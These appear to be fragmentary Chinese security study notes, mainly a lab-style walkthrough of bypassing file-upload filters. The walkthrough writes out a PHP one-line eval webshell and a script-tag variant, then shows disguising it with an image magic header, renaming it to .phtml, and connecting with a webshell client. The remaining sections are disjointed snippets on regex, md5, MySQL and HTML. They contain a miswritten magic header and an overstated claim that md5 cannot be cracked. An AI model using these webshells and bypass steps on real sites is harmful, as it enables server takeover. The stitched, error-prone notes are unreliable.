文件幻术头

1
2
情景介绍
要求的是传图片,将一句话木马<?php @eval($_POST['6']);?>写入文件然后试着传一下.php文件试试(并抓包),结果会被前端检测到上传的文件格式图片(客户端javascript检测,检测文件扩展名)。改包改成.jpg格式再放包,结果提示不能出现<?(服务端文件内容检测,检测内容是非合法或含有恶意代码),然后换一个没有<?的木马<script language="php"> @eval($_POST['6']); </script>继续放包,结果后端检测到这个文件是假的图片文件(服务端文件内容检测,检测内容是非合法或含有恶意代码),要在木马前面加一个GIF98a(文件幻术头) 以达到让后端检测的时候相信这是一个图片文件。放包看到上传成功,但响应包没有所上传文件的路径(url/upload/muma.jpg),菜刀连接url/upload/muma.jpg发现不能访问,这里的问题是因为上传的文件得是.phtml格式,即图片格式绕过前端后要改包将文件格式改为.phtml。此处设计到的知识点用下面会讲。

正则表达式

限定符

?

表示?前面的字符出现一次或0次,意思是?前的字符可有可无

例如:used? 表示d可以出现0次或1次

md5

用途

1.校验文件完整性

2.存储密码改为存储md5,就算得到md5也无法知道密码(但是单纯密码的话,还是存在固定md5,这个时候我们应该给md5加盐)

加盐:就是在密码后边随机加随机数,然后将随机数存储,每次输入密码后边再加上随机数填充计算MD5

3.无法破解原始数据,因为md5是不可逆的

upload1-js绕过

1.验证合法性

当我们上传文件时,如果文件是php格式,就会被拦截,抓包抓不到任何东西

文件上传

Mysql

数据库

打开:mysql -u root -p

关系型数据库

​ 概念:建立在关系模型基础上,由多张相互连接的二维表组成的数据库

sql注入

php格式:

变量


定义变量:

$+变量名。

赋值变量,变量前一定要带着$;

变量名不能以数字开头,不建议使用汉字

HTML是什么

HTML 不是一门编程语言,而是一种用于定义内容结构的标记语言。HTML 由一系列的元素组成,这些元素可以用来包围不同部分的内容,使其以某种方式呈现或者工作。一对标签可以为一段文字或者一张图片添加超链接,将文字设置为斜体,改变字号,等等。